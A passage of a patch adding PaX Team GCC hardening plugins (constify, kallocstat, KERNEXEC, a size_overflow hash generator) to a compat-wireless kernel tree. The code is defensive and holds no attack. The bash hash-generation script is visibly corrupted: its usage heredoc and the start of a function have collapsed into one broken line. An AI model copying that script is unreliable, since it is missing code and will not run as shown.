gcc_assert(TYPE_READONLY(old_type) && (TYPE_QUALS(old_type) & TYPE_QUAL_CONST)); ++ ++ new_type = build_qualified_type(old_type, TYPE_QUALS(old_type) & ~TYPE_QUAL_CONST); ++ TYPE_FIELDS(new_type) = copy_list(TYPE_FIELDS(new_type)); ++ for (field = TYPE_FIELDS(new_type); field; field = TREE_CHAIN(field)) ++ DECL_FIELD_CONTEXT(field) = new_type; ++ ++ deconstify_type(new_type); ++ ++ TREE_READONLY(node) = 0; ++ TREE_TYPE(node) = new_type; ++} ++ ++static tree handle_no_const_attribute(tree *node, tree name, tree args, int flags, bool *no_add_attrs) ++{ ++ tree type; ++ ++ *no_add_attrs = true; ++ if (TREE_CODE(*node) == FUNCTION_DECL) { ++ error("%qE attribute does not apply to functions", name); ++ return NULL_TREE; ++ } ++ ++ if (TREE_CODE(*node) == VAR_DECL) { ++ error("%qE attribute does not apply to variables", name); ++ return NULL_TREE; ++ } ++ ++ if (TYPE_P(*node)) { ++ if (TREE_CODE(*node) == RECORD_TYPE || TREE_CODE(*node) == UNION_TYPE) ++ *no_add_attrs = false; ++ else ++ error("%qE attribute applies to struct and union types only", name); ++ return NULL_TREE; ++ } ++ ++ type = TREE_TYPE(*node); ++ ++ if (TREE_CODE(type) != RECORD_TYPE && TREE_CODE(type) != UNION_TYPE) { ++ error("%qE attribute applies to struct and union types only", name); ++ return NULL_TREE; ++ } ++ ++ if (lookup_attribute(IDENTIFIER_POINTER(name), TYPE_ATTRIBUTES(type))) { ++ error("%qE attribute is already applied to the type", name); ++ return NULL_TREE; ++ } ++ ++ if (TREE_CODE(*node) == TYPE_DECL && !TYPE_READONLY(type)) { ++ error("%qE attribute used on type that is not constified", name); ++ return NULL_TREE; ++ } ++ ++ if (TREE_CODE(*node) == TYPE_DECL) { ++ deconstify_tree(*node); ++ return NULL_TREE; ++ } ++ ++ return NULL_TREE; ++} ++ ++static void constify_type(tree type) ++{ ++ TYPE_READONLY(type) = 1; ++ C_TYPE_FIELDS_READONLY(type) = 1; ++} ++ ++static tree handle_do_const_attribute(tree *node, tree name, tree args, int flags, bool *no_add_attrs) ++{ ++ *no_add_attrs = true; ++ if (!TYPE_P(*node)) { ++ error("%qE attribute applies to types only", name); ++ return NULL_TREE; ++ } ++ ++ if (TREE_CODE(*node) != RECORD_TYPE && TREE_CODE(*node) != UNION_TYPE) { ++ error("%qE attribute applies to struct and union types only", name); ++ return NULL_TREE; ++ } ++ ++ *no_add_attrs = false; ++ constify_type(*node); ++ return NULL_TREE; ++} ++ ++static struct attribute_spec no_const_attr = { ++ .name = "no_const", ++ .min_length = 0, ++ .max_length = 0, ++ .decl_required = false, ++ .type_required = false, ++ .function_type_required = false, ++ .handler = handle_no_const_attribute, ++#if BUILDING_GCC_VERSION >= 4007 ++ .affects_type_identity = true ++#endif ++}; ++ ++static struct attribute_spec do_const_attr = { ++ .name = "do_const", ++ .min_length = 0, ++ .max_length = 0, ++ .decl_required = false, ++ .type_required = false, ++ .function_type_required = false, ++ .handler = handle_do_const_attribute, ++#if BUILDING_GCC_VERSION >= 4007 ++ .affects_type_identity = true ++#endif ++}; ++ ++static void register_attributes(void *event_data, void *data) ++{ ++ register_attribute(&no_const_attr); ++ register_attribute(&do_const_attr); ++} ++ ++static bool is_fptr(tree field) ++{ ++ tree ptr = TREE_TYPE(field); ++ ++ if (TREE_CODE(ptr) != POINTER_TYPE) ++ return false; ++ ++ return TREE_CODE(TREE_TYPE(ptr)) == FUNCTION_TYPE; ++} ++ ++static bool walk_struct(tree node) ++{ ++ tree field; ++ ++ if (TYPE_FIELDS(node) == NULL_TREE) ++ return false; ++ ++ if (lookup_attribute("no_const", TYPE_ATTRIBUTES(node))) { ++ gcc_assert(!TYPE_READONLY(node)); ++ deconstify_type(node); ++ return false; ++ } ++ ++ for (field = TYPE_FIELDS(node); field; field = TREE_CHAIN(field)) { ++ tree type = TREE_TYPE(field); ++ enum tree_code code = TREE_CODE(type); ++ ++ if (node == type) ++ return false; ++ if (code == RECORD_TYPE || code == UNION_TYPE) { ++ if (!(walk_struct(type))) ++ return false; ++ } else if (!is_fptr(field) && !TREE_READONLY(field)) ++ return false; ++ } ++ return true; ++} ++ ++static void finish_type(void *event_data, void *data) ++{ ++ tree type = (tree)event_data; ++ ++ if (type == NULL_TREE || type == error_mark_node) ++ return; ++ ++ if (TYPE_READONLY(type)) ++ return; ++ ++ if (walk_struct(type)) ++ constify_type(type); ++} ++ ++static unsigned int check_local_variables(void); ++ ++struct gimple_opt_pass pass_local_variable = { ++ { ++ .type = GIMPLE_PASS, ++ .name = "check_local_variables", ++ .gate = NULL, ++ .execute = check_local_variables, ++ .sub = NULL, ++ .next = NULL, ++ .static_pass_number = 0, ++ .tv_id = TV_NONE, ++ .properties_required = 0, ++ .properties_provided = 0, ++ .properties_destroyed = 0, ++ .todo_flags_start = 0, ++ .todo_flags_finish = 0 ++ } ++}; ++ ++static unsigned int check_local_variables(void) ++{ ++ tree var; ++ referenced_var_iterator rvi; ++ ++#if BUILDING_GCC_VERSION == 4005 ++ FOR_EACH_REFERENCED_VAR(var, rvi) { ++#else ++ FOR_EACH_REFERENCED_VAR(cfun, var, rvi) { ++#endif ++ tree type = TREE_TYPE(var); ++ ++ if (!DECL_P(var) || TREE_STATIC(var) || DECL_EXTERNAL(var)) ++ continue; ++ ++ if (TREE_CODE(type) != RECORD_TYPE && TREE_CODE(type) != UNION_TYPE) ++ continue; ++ ++ if (!TYPE_READONLY(type)) ++ continue; ++ ++// if (lookup_attribute("no_const", DECL_ATTRIBUTES(var))) ++// continue; ++ ++// if (lookup_attribute("no_const", TYPE_ATTRIBUTES(type))) ++// continue; ++ ++ if (walk_struct(type)) { ++ error_at(DECL_SOURCE_LOCATION(var), "constified variable %qE cannot be local", var); ++ return 1; ++ } ++ } ++ return 0; ++} ++ ++int plugin_init(struct plugin_name_args *plugin_info, struct plugin_gcc_version *version) ++{ ++ const char * const plugin_name = plugin_info->base_name; ++ const int argc = plugin_info->argc; ++ const struct plugin_argument * const argv = plugin_info->argv; ++ int i; ++ bool constify = true; ++ ++ struct register_pass_info local_variable_pass_info = { ++ .pass = &pass_local_variable.pass, ++ .reference_pass_name = "*referenced_vars", ++ .ref_pass_instance_number = 1, ++ .pos_op = PASS_POS_INSERT_AFTER ++ }; ++ ++ if (!plugin_default_version_check(version, &gcc_version)) { ++ error(G_("incompatible gcc/plugin versions")); ++ return 1; ++ } ++ ++ for (i = 0; i < argc; ++i) { ++ if (!(strcmp(argv[i].key, "no-constify"))) { ++ constify = false; ++ continue; ++ } ++ error(G_("unkown option '-fplugin-arg-%s-%s'"), plugin_name, argv[i].key); ++ } ++ ++ register_callback(plugin_name, PLUGIN_INFO, NULL, &const_plugin_info); ++ if (constify) { ++ register_callback(plugin_name, PLUGIN_FINISH_TYPE, finish_type, NULL); ++ register_callback(plugin_name, PLUGIN_PASS_MANAGER_SETUP, NULL, &local_variable_pass_info); ++ } ++ register_callback(plugin_name, PLUGIN_ATTRIBUTES, register_attributes, NULL); ++ ++ return 0; ++} +diff -rupN compat-wireless-3.6-rc7-1-snpc.orig/tools/gcc/generate_size_overflow_hash.sh compat-wireless-3.6-rc7-1-snpc/tools/gcc/generate_size_overflow_hash.sh +--- compat-wireless-3.6-rc7-1-snpc.orig/tools/gcc/generate_size_overflow_hash.sh 1970-01-01 00:00:00.000000000 +0000 ++++ compat-wireless-3.6-rc7-1-snpc/tools/gcc/generate_size_overflow_hash.sh 2012-10-15 17:30:59.830924531 +0000 +@@ -0,0 +1,94 @@ ++#!/bin/bash ++ ++# This script generates the hash table (size_overflow_hash.h) for the size_overflow gcc plugin (size_overflow_plugin.c). ++ ++header1="size_overflow_hash.h" ++database="size_overflow_hash.data" ++n=65536 ++ ++usage() { ++cat <> "$header1" ++ done ++ echo >> "$header1" ++} ++ ++create_structs () { ++ rm -f "$header1" ++ ++ create_defines ++ ++ cat "$database" | while read data ++ do ++ data_array=($data) ++ struct_hash_name="${data_array[0]}" ++ funcn="${data_array[1]}" ++ params="${data_array[2]}" ++ next="${data_array[5]}" ++ ++ echo "const struct size_overflow_hash $struct_hash_name = {" >> "$header1" ++ ++ echo -e "\t.next\t= $next,\n\t.name\t= \"$funcn\"," >> "$header1" ++ echo -en "\t.param\t= " >> "$header1" ++ line= ++ for param_num in ${params//-/ }; ++ do ++ line="${line}PARAM"$param_num"|" ++ done ++ ++ echo -e "${line%?},\n};\n" >> "$header1" ++ done ++} ++ ++create_headers () { ++ echo "const struct size_overflow_hash * const size_overflow_hash[$n] = {" >> "$header1" ++} ++ ++create_array_elements () { ++ index=0 ++ grep -v "nohasharray" $database | sort -n -k 4 | while read data ++ do ++ data_array=($data) ++ i="${data_array[3]}" ++ hash="${data_array[4]}" ++ while [[ $index -lt $i ]] ++ do ++ echo -e "\t["$index"]\t= NULL," >> "$header1" ++ index=$(($index + 1)) ++ done ++ index=$(($index + 1)) ++ echo -e "\t["$i"]\t= &"$hash"," >> "$header1" ++ done ++ echo '};' >> $header1 ++} ++ ++create_structs ++create_headers ++create_array_elements ++ ++exit 0 +diff -rupN compat-wireless-3.6-rc7-1-snpc.orig/tools/gcc/kallocstat_plugin.c compat-wireless-3.6-rc7-1-snpc/tools/gcc/kallocstat_plugin.c +--- compat-wireless-3.6-rc7-1-snpc.orig/tools/gcc/kallocstat_plugin.c 1970-01-01 00:00:00.000000000 +0000 ++++ compat-wireless-3.6-rc7-1-snpc/tools/gcc/kallocstat_plugin.c 2012-10-15 17:30:59.831924531 +0000 +@@ -0,0 +1,167 @@ ++/* ++ * Copyright 2011 by the PaX Team ++ * Licensed under the GPL v2 ++ * ++ * Note: the choice of the license means that the compilation process is ++ * NOT 'eligible' as defined by gcc's library exception to the GPL v3, ++ * but for the kernel it doesn't matter since it doesn't link against ++ * any of the gcc libraries ++ * ++ * gcc plugin to find the distribution of k*alloc sizes ++ * ++ * TODO: ++ * ++ * BUGS: ++ * - none known ++ */ ++#include "gcc-plugin.h" ++#include "config.h" ++#include "system.h" ++#include "coretypes.h" ++#include "tree.h" ++#include "tree-pass.h" ++#include "flags.h" ++#include "intl.h" ++#include "toplev.h" ++#include "plugin.h" ++//#include "expr.h" where are you... ++#include "diagnostic.h" ++#include "plugin-version.h" ++#include "tm.h" ++#include "function.h" ++#include "basic-block.h" ++#include "gimple.h" ++#include "rtl.h" ++#include "emit-rtl.h" ++ ++extern void print_gimple_stmt(FILE *, gimple, int, int); ++ ++int plugin_is_GPL_compatible; ++ ++static const char * const kalloc_functions[] = { ++ "__kmalloc", ++ "kmalloc", ++ "kmalloc_large", ++ "kmalloc_node", ++ "kmalloc_order", ++ "kmalloc_order_trace", ++ "kmalloc_slab", ++ "kzalloc", ++ "kzalloc_node", ++}; ++ ++static struct plugin_info kallocstat_plugin_info = { ++ .version = "201111150100", ++}; ++ ++static unsigned int execute_kallocstat(void); ++ ++static struct gimple_opt_pass kallocstat_pass = { ++ .pass = { ++ .type = GIMPLE_PASS, ++ .name = "kallocstat", ++ .gate = NULL, ++ .execute = execute_kallocstat, ++ .sub = NULL, ++ .next = NULL, ++ .static_pass_number = 0, ++ .tv_id = TV_NONE, ++ .properties_required = 0, ++ .properties_provided = 0, ++ .properties_destroyed = 0, ++ .todo_flags_start = 0, ++ .todo_flags_finish = 0 ++ } ++}; ++ ++static bool is_kalloc(const char *fnname) ++{ ++ size_t i; ++ ++ for (i = 0; i < ARRAY_SIZE(kalloc_functions); i++) ++ if (!strcmp(fnname, kalloc_functions[i])) ++ return true; ++ return false; ++} ++ ++static unsigned int execute_kallocstat(void) ++{ ++ basic_block bb; ++ ++ // 1. loop through BBs and GIMPLE statements ++ FOR_EACH_BB(bb) { ++ gimple_stmt_iterator gsi; ++ for (gsi = gsi_start_bb(bb); !gsi_end_p(gsi); gsi_next(&gsi)) { ++ // gimple match: ++ tree fndecl, size; ++ gimple call_stmt; ++ const char *fnname; ++ ++ // is it a call ++ call_stmt = gsi_stmt(gsi); ++ if (!is_gimple_call(call_stmt)) ++ continue; ++ fndecl = gimple_call_fndecl(call_stmt); ++ if (fndecl == NULL_TREE) ++ continue; ++ if (TREE_CODE(fndecl) != FUNCTION_DECL) ++ continue; ++ ++ // is it a call to k*alloc ++ fnname = IDENTIFIER_POINTER(DECL_NAME(fndecl)); ++ if (!is_kalloc(fnname)) ++ continue; ++ ++ // is the size arg the result of a simple const assignment ++ size = gimple_call_arg(call_stmt, 0); ++ while (true) { ++ gimple def_stmt; ++ expanded_location xloc; ++ size_t size_val; ++ ++ if (TREE_CODE(size) != SSA_NAME) ++ break; ++ def_stmt = SSA_NAME_DEF_STMT(size); ++ if (!def_stmt || !is_gimple_assign(def_stmt)) ++ break; ++ if (gimple_num_ops(def_stmt) != 2) ++ break; ++ size = gimple_assign_rhs1(def_stmt); ++ if (!TREE_CONSTANT(size)) ++ continue; ++ xloc = expand_location(gimple_location(def_stmt)); ++ if (!xloc.file) ++ xloc = expand_location(DECL_SOURCE_LOCATION(current_function_decl)); ++ size_val = TREE_INT_CST_LOW(size); ++ fprintf(stderr, "kallocsize: %8zu %8zx %s %s:%u\n", size_val, size_val, fnname, xloc.file, xloc.line); ++ break; ++ } ++//print_gimple_stmt(stderr, call_stmt, 0, TDF_LINENO); ++//debug_tree(gimple_call_fn(call_stmt)); ++//print_node(stderr, "pax", fndecl, 4); ++ } ++ } ++ ++ return 0; ++} ++ ++int plugin_init(struct plugin_name_args *plugin_info, struct plugin_gcc_version *version) ++{ ++ const char * const plugin_name = plugin_info->base_name; ++ struct register_pass_info kallocstat_pass_info = { ++ .pass = &kallocstat_pass.pass, ++ .reference_pass_name = "ssa", ++ .ref_pass_instance_number = 1, ++ .pos_op = PASS_POS_INSERT_AFTER ++ }; ++ ++ if (!plugin_default_version_check(version, &gcc_version)) { ++ error(G_("incompatible gcc/plugin versions")); ++ return 1; ++ } ++ ++ register_callback(plugin_name, PLUGIN_INFO, NULL, &kallocstat_plugin_info); ++ register_callback(plugin_name, PLUGIN_PASS_MANAGER_SETUP, NULL, &kallocstat_pass_info); ++ ++ return 0; ++} +diff -rupN compat-wireless-3.6-rc7-1-snpc.orig/tools/gcc/kernexec_plugin.c compat-wireless-3.6-rc7-1-snpc/tools/gcc/kernexec_plugin.c +--- compat-wireless-3.6-rc7-1-snpc.orig/tools/gcc/kernexec_plugin.c 1970-01-01 00:00:00.000000000 +0000 ++++ compat-wireless-3.6-rc7-1-snpc/tools/gcc/kernexec_plugin.c 2012-10-15 17:30:59.831924531 +0000 +@@ -0,0 +1,427 @@ ++/* ++ * Copyright 2011 by the PaX Team ++ * Licensed under the GPL v2 ++ * ++ * Note: the choice of the license means that the compilation process is ++ * NOT 'eligible' as defined by gcc's library exception to the GPL v3, ++ * but for the kernel it doesn't matter since it doesn't link against ++ * any of the gcc libraries ++ * ++ * gcc plugin to make KERNEXEC/amd64 almost as good as it is on i386 ++ * ++ * TODO: ++ * ++ * BUGS: ++ * - none known ++ */ ++#include "gcc-plugin.h" ++#include "config.h" ++#include "system.h" ++#include "coretypes.h" ++#include "tree.h" ++#include "tree-pass.h" ++#include "flags.h" ++#include "intl.h" ++#include "toplev.h" ++#include "plugin.h" ++//#include "expr.h" where are you... ++#include "diagnostic.h" ++#include "plugin-version.h" ++#include "tm.h" ++#include "function.h" ++#include "basic-block.h" ++#include "gimple.h" ++#include "rtl.h" ++#include "emit-rtl.h" ++#include "tree-flow.h" ++ ++extern void print_gimple_stmt(FILE *, gimple, int, int); ++extern rtx emit_move_insn(rtx x, rtx y); ++ ++int plugin_is_GPL_compatible; ++ ++static struct plugin_info kernexec_plugin_info = { ++ .version = "201111291120", ++ .help = "method=[bts|or]\tinstrumentation method\n" ++}; ++ ++static unsigned int execute_kernexec_reload(void); ++static unsigned int execute_kernexec_fptr(void); ++static unsigned int execute_kernexec_retaddr(void); ++static bool kernexec_cmodel_check(void); ++ ++static void (*kernexec_instrument_fptr)(gimple_stmt_iterator *); ++static void (*kernexec_instrument_retaddr)(rtx); ++ ++static struct gimple_opt_pass kernexec_reload_pass = { ++ .pass = { ++ .type = GIMPLE_PASS, ++ .name = "kernexec_reload", ++ .gate = kernexec_cmodel_check, ++ .execute = execute_kernexec_reload, ++ .sub = NULL, ++ .next = NULL, ++ .static_pass_number = 0, ++ .tv_id = TV_NONE, ++ .properties_required = 0, ++ .properties_provided = 0, ++ .properties_destroyed = 0, ++ .todo_flags_start = 0, ++ .todo_flags_finish = TODO_verify_ssa | TODO_verify_stmts | TODO_dump_func | TODO_remove_unused_locals | TODO_update_ssa_no_phi ++ } ++}; ++ ++static struct gimple_opt_pass kernexec_fptr_pass = { ++ .pass = { ++ .type = GIMPLE_PASS, ++ .name = "kernexec_fptr", ++ .gate = kernexec_cmodel_check, ++ .execute = execute_kernexec_fptr, ++ .sub = NULL, ++ .next = NULL, ++ .static_pass_number = 0, ++ .tv_id = TV_NONE, ++ .properties_required = 0, ++ .properties_provided = 0, ++ .properties_destroyed = 0, ++ .todo_flags_start = 0, ++ .todo_flags_finish = TODO_verify_ssa | TODO_verify_stmts | TODO_dump_func | TODO_remove_unused_locals | TODO_update_ssa_no_phi ++ } ++}; ++ ++static struct rtl_opt_pass kernexec_retaddr_pass = { ++ .pass = { ++ .type = RTL_PASS, ++ .name = "kernexec_retaddr", ++ .gate = kernexec_cmodel_check, ++ .execute = execute_kernexec_retaddr, ++ .sub = NULL, ++ .next = NULL, ++ .static_pass_number = 0, ++ .tv_id = TV_NONE, ++ .properties_required = 0, ++ .properties_provided = 0, ++ .properties_destroyed = 0, ++ .todo_flags_start = 0, ++ .todo_flags_finish = TODO_dump_func | TODO_ggc_collect ++ } ++}; ++ ++static bool kernexec_cmodel_check(void) ++{ ++ tree section; ++ ++ if (ix86_cmodel != CM_KERNEL) ++ return false; ++ ++ section = lookup_attribute("section", DECL_ATTRIBUTES(current_function_decl)); ++ if (!section || !TREE_VALUE(section)) ++ return true; ++ ++ section = TREE_VALUE(TREE_VALUE(section)); ++ if (strncmp(TREE_STRING_POINTER(section), ".vsyscall_", 10)) ++ return true; ++ ++ return false; ++} ++ ++/* ++ * add special KERNEXEC instrumentation: reload %r10 after it has been clobbered ++ */ ++static void kernexec_reload_fptr_mask(gimple_stmt_iterator *gsi) ++{ ++ gimple asm_movabs_stmt; ++ ++ // build asm volatile("movabs $0x8000000000000000, %%r10\n\t" : : : ); ++ asm_movabs_stmt = gimple_build_asm_vec("movabs $0x8000000000000000, %%r10\n\t", NULL, NULL, NULL, NULL); ++ gimple_asm_set_volatile(asm_movabs_stmt, true); ++ gsi_insert_after(gsi, asm_movabs_stmt, GSI_CONTINUE_LINKING); ++ update_stmt(asm_movabs_stmt); ++} ++ ++/* ++ * find all asm() stmts that clobber r10 and add a reload of r10 ++ */ ++static unsigned int execute_kernexec_reload(void) ++{ ++ basic_block bb; ++ ++ // 1. loop through BBs and GIMPLE statements ++ FOR_EACH_BB(bb) { ++ gimple_stmt_iterator gsi; ++ ++ for (gsi = gsi_start_bb(bb); !gsi_end_p(gsi); gsi_next(&gsi)) { ++ // gimple match: __asm__ ("" : : : "r10"); ++ gimple asm_stmt; ++ size_t nclobbers; ++ ++ // is it an asm ... ++ asm_stmt = gsi_stmt(gsi); ++ if (gimple_code(asm_stmt) != GIMPLE_ASM) ++ continue; ++ ++ // ... clobbering r10 ++ nclobbers = gimple_asm_nclobbers(asm_stmt); ++ while (nclobbers--) { ++ tree op = gimple_asm_clobber_op(asm_stmt, nclobbers); ++ if (strcmp(TREE_STRING_POINTER(TREE_VALUE(op)), "r10")) ++ continue; ++ kernexec_reload_fptr_mask(&gsi); ++//print_gimple_stmt(stderr, asm_stmt, 0, TDF_LINENO); ++ break; ++ } ++ } ++ } ++ ++ return 0; ++} ++ ++/* ++ * add special KERNEXEC instrumentation: force MSB of fptr to 1, which will produce ++ * a non-canonical address from a userland ptr and will just trigger a GPF on dereference ++ */ ++static void kernexec_instrument_fptr_bts(gimple_stmt_iterator *gsi) ++{ ++ gimple assign_intptr, assign_new_fptr, call_stmt; ++ tree intptr, old_fptr, new_fptr, kernexec_mask; ++ ++ call_stmt = gsi_stmt(*gsi); ++ old_fptr = gimple_call_fn(call_stmt); ++ ++ // create temporary unsigned long variable used for bitops and cast fptr to it ++ intptr = create_tmp_var(long_unsigned_type_node, "kernexec_bts"); ++ add_referenced_var(intptr); ++ mark_sym_for_renaming(intptr); ++ assign_intptr = gimple_build_assign(intptr, fold_convert(long_unsigned_type_node, old_fptr)); ++ gsi_insert_before(gsi, assign_intptr, GSI_SAME_STMT); ++ update_stmt(assign_intptr); ++ ++ // apply logical or to temporary unsigned long and bitmask ++ kernexec_mask = build_int_cstu(long_long_unsigned_type_node, 0x8000000000000000LL); ++// kernexec_mask = build_int_cstu(long_long_unsigned_type_node, 0xffffffff80000000LL); ++ assign_intptr = gimple_build_assign(intptr, fold_build2(BIT_IOR_EXPR, long_long_unsigned_type_node, intptr, kernexec_mask)); ++ gsi_insert_before(gsi, assign_intptr, GSI_SAME_STMT); ++ update_stmt(assign_intptr); ++ ++ // cast temporary unsigned long back to a temporary fptr variable ++ new_fptr = create_tmp_var(TREE_TYPE(old_fptr), "kernexec_fptr"); ++ add_referenced_var(new_fptr); ++ mark_sym_for_renaming(new_fptr); ++ assign_new_fptr = gimple_build_assign(new_fptr, fold_convert(TREE_TYPE(old_fptr), intptr)); ++ gsi_insert_before(gsi, assign_new_fptr, GSI_SAME_STMT); ++ update_stmt(assign_new_fptr); ++ ++ // replace call stmt fn with the new fptr ++ gimple_call_set_fn(call_stmt, new_fptr); ++ update_stmt(call_stmt); ++} ++ ++static void kernexec_instrument_fptr_or(gimple_stmt_iterator *gsi) ++{ ++ gimple asm_or_stmt, call_stmt; ++ tree old_fptr, new_fptr, input, output; ++ VEC(tree, gc) *inputs = NULL; ++ VEC(tree, gc) *outputs = NULL; ++ ++ call_stmt = gsi_stmt(*gsi); ++ old_fptr = gimple_call_fn(call_stmt); ++ ++ // create temporary fptr variable ++ new_fptr = create_tmp_var(TREE_TYPE(old_fptr), "kernexec_or"); ++ add_referenced_var(new_fptr); ++ mark_sym_for_renaming(new_fptr); ++ ++ // build asm volatile("orq %%r10, %0\n\t" : "=r"(new_fptr) : "0"(old_fptr)); ++ input = build_tree_list(NULL_TREE, build_string(2, "0")); ++ input = chainon(NULL_TREE, build_tree_list(input, old_fptr)); ++ output = build_tree_list(NULL_TREE, build_string(3, "=r")); ++ output = chainon(NULL_TREE, build_tree_list(output, new_fptr)); ++ VEC_safe_push(tree, gc, inputs, input); ++ VEC_safe_push(tree, gc, outputs, output); ++ asm_or_stmt = gimple_build_asm_vec("orq %%r10, %0\n\t", inputs, outputs, NULL, NULL); ++ gimple_asm_set_volatile(asm_or_stmt, true); ++ gsi_insert_before(gsi, asm_or_stmt, GSI_SAME_STMT); ++ update_stmt(asm_or_stmt); ++ ++ // replace call stmt fn with the new fptr ++ gimple_call_set_fn(call_stmt, new_fptr); ++ update_stmt(call_stmt); ++} ++ ++/* ++ * find all C level function pointer dereferences and forcibly set the highest bit of the pointer ++ */ ++static unsigned int execute_kernexec_fptr(void) ++{ ++ basic_block bb; ++ ++ // 1. loop through BBs and GIMPLE statements ++ FOR_EACH_BB(bb) { ++ gimple_stmt_iterator gsi; ++ ++ for (gsi = gsi_start_bb(bb); !gsi_end_p(gsi); gsi_next(&gsi)) { ++ // gimple match: h_1 = get_fptr (); D.2709_3 = h_1 (x_2(D)); ++ tree fn; ++ gimple call_stmt; ++ ++ // is it a call ... ++ call_stmt = gsi_stmt(gsi); ++ if (!is_gimple_call(call_stmt)) ++ continue; ++ fn = gimple_call_fn(call_stmt); ++ if (TREE_CODE(fn) == ADDR_EXPR) ++ continue; ++ if (TREE_CODE(fn) != SSA_NAME) ++ gcc_unreachable(); ++ ++ // ... through a function pointer ++ fn = SSA_NAME_VAR(fn); ++ if (TREE_CODE(fn) != VAR_DECL && TREE_CODE(fn) != PARM_DECL) ++ continue; ++ fn = TREE_TYPE(fn); ++ if (TREE_CODE(fn) != POINTER_TYPE) ++ continue; ++ fn = TREE_TYPE(fn); ++ if (TREE_CODE(fn) != FUNCTION_TYPE) ++ continue; ++ ++ kernexec_instrument_fptr(&gsi); ++ ++//debug_tree(gimple_call_fn(call_stmt)); ++//print_gimple_stmt(stderr, call_stmt, 0, TDF_LINENO); ++ } ++ } ++ ++ return 0; ++} ++ ++// add special KERNEXEC instrumentation: btsq $63,(%rsp) just before retn ++static void kernexec_instrument_retaddr_bts(rtx insn) ++{ ++ rtx btsq; ++ rtvec argvec, constraintvec, labelvec; ++ int line; ++ ++ // create asm volatile("btsq $63,(%%rsp)":::) ++ argvec = rtvec_alloc(0); ++ constraintvec = rtvec_alloc(0); ++ labelvec = rtvec_alloc(0); ++ line = expand_location(RTL_LOCATION(insn)).line; ++ btsq = gen_rtx_ASM_OPERANDS(VOIDmode, "btsq $63,(%%rsp)", empty_string, 0, argvec, constraintvec, labelvec, line); ++ MEM_VOLATILE_P(btsq) = 1; ++// RTX_FRAME_RELATED_P(btsq) = 1; // not for ASM_OPERANDS ++ emit_insn_before(btsq, insn); ++} ++ ++// add special KERNEXEC instrumentation: orq %r10,(%rsp) just before retn ++static void kernexec_instrument_retaddr_or(rtx insn) ++{ ++ rtx orq; ++ rtvec argvec, constraintvec, labelvec; ++ int line; ++ ++ // create asm volatile("orq %%r10,(%%rsp)":::) ++ argvec = rtvec_alloc(0); ++ constraintvec = rtvec_alloc(0); ++ labelvec = rtvec_alloc(0); ++ line = expand_location(RTL_LOCATION(insn)).line; ++ orq = gen_rtx_ASM_OPERANDS(VOIDmode, "orq %%r10,(%%rsp)", empty_string, 0, argvec, constraintvec, labelvec, line); ++ MEM_VOLATILE_P(orq) = 1; ++// RTX_FRAME_RELATED_P(orq) = 1; // not for ASM_OPERANDS ++ emit_insn_before(orq, insn); ++} ++ ++/* ++ * find all asm level function returns and forcibly set the highest bit of the return address ++ */ ++static unsigned int execute_kernexec_retaddr(void) ++{ ++ rtx insn; ++ ++ // 1. find function returns ++ for (insn = get_insns(); insn; insn = NEXT_INSN(insn)) { ++ // rtl match: (jump_insn 41 40 42 2 (return) fptr.c:42 634 {return_internal} (nil)) ++ // (jump_insn 12 9 11 2 (parallel [ (return) (unspec [ (0) ] UNSPEC_REP) ]) fptr.c:46 635 {return_internal_long} (nil)) ++ rtx body; ++ ++ // is it a retn ++ if (!JUMP_P(insn)) ++ continue; ++ body = PATTERN(insn); ++ if (GET_CODE(body) == PARALLEL) ++ body = XVECEXP(body, 0, 0); ++ if (GET_CODE(body) != RETURN) ++ continue; ++ kernexec_instrument_retaddr(insn); ++ } ++ ++// print_simple_rtl(stderr, get_insns()); ++// print_rtl(stderr, get_insns()); ++ ++ return 0; ++} ++ ++int plugin_init(struct plugin_name_args *plugin_info, struct plugin_gcc_version *version) ++{ ++ const char * const plugin_name = plugin_info->base_name; ++ const int argc = plugin_info->argc; ++ const struct plugin_argument * const argv = plugin_info->argv; ++ int i; ++ struct register_pass_info kernexec_reload_pass_info = { ++ .pass = &kernexec_reload_pass.pass, ++ .reference_pass_name = "ssa", ++ .ref_pass_instance_number = 1, ++ .pos_op = PASS_POS_INSERT_AFTER ++ }; ++ struct register_pass_info kernexec_fptr_pass_info = { ++ .pass = &kernexec_fptr_pass.pass, ++ .reference_pass_name = "ssa", ++ .ref_pass_instance_number = 1, ++ .pos_op = PASS_POS_INSERT_AFTER ++ }; ++ struct register_pass_info kernexec_retaddr_pass_info = { ++ .pass = &kernexec_retaddr_pass.pass, ++ .reference_pass_name = "pro_and_epilogue", ++ .ref_pass_instance_number = 1, ++ .pos_op = PASS_POS_INSERT_AFTER ++ }; ++ ++ if (!plugin_default_version_check(version, &gcc_version)) { ++ error(G_("incompatible gcc/plugin versions")); ++ return 1; ++ } ++ ++ register_callback(plugin_name, PLUGIN_INFO, NULL, &kernexec_plugin_info); ++ ++ if (TARGET_64BIT == 0) ++ return 0; ++ ++ for (i = 0; i < argc; ++i) { ++ if (!strcmp(argv[i].key, "method")) { ++ if (!argv[i].value) { ++ error(G_("no value supplied for option '-fplugin-arg-%s-%s'"), plugin_name, argv[i].key); ++ continue; ++ } ++ if (!strcmp(argv[i].value, "bts")) { ++ kernexec_instrument_fptr = kernexec_instrument_fptr_bts; ++ kernexec_instrument_retaddr = kernexec_instrument_retaddr_bts; ++ } else if (!strcmp(argv[i].value, "or")) { ++ kernexec_instrument_fptr = kernexec_instrument_fptr_or; ++ kernexec_instrument_retaddr = kernexec_instrument_retaddr_or; ++ fix_register("r10", 1, 1); ++ } else ++ error(G_("invalid option argument '-fplugin-arg-%s-%s=%s'"), plugin_name, argv[i].key, argv[i].value); ++ continue; ++ } ++ error(G_("unkown option '-fplugin-arg-%s-%s'"), plugin_name, argv[i].key); ++ } ++ if (!kernexec_instrument_fptr || !kernexec_instrument_retaddr) ++ error(G_("no instrumentation method was selected via '-fplugin-arg-%s-method'"), plugin_name); ++ ++ if (kernexec_instrument_fptr == kernexec_instrument_fptr_or) ++ register_callback(plugin_name, PLUGIN_PASS_MANAGER_SETUP, NULL, &kernexec_reload_pass_info); ++ register_callback(plugin_name, PLUGIN_PASS_MANAGER_SETUP, NULL, &kernexec_fptr_pass_info); ++ register_callback(plugin_name, PLUGIN_PASS_MANAGER_SETUP, NULL, &kernexec_retaddr_pass_info); ++ ++ return 0; ++} +diff -rupN compat-wireless-3.6-rc7-1-snpc.orig/tools/gcc/latent_entropy_plugin.c compat-wireless-3.6-rc7-1-snpc/tools/gcc/latent_entropy_plugin.c +--- compat-wireless-3.6-rc7-1-snpc.orig/tools/gcc/latent_entropy_plugin.c 1970-01-01 00:00:00.000000000 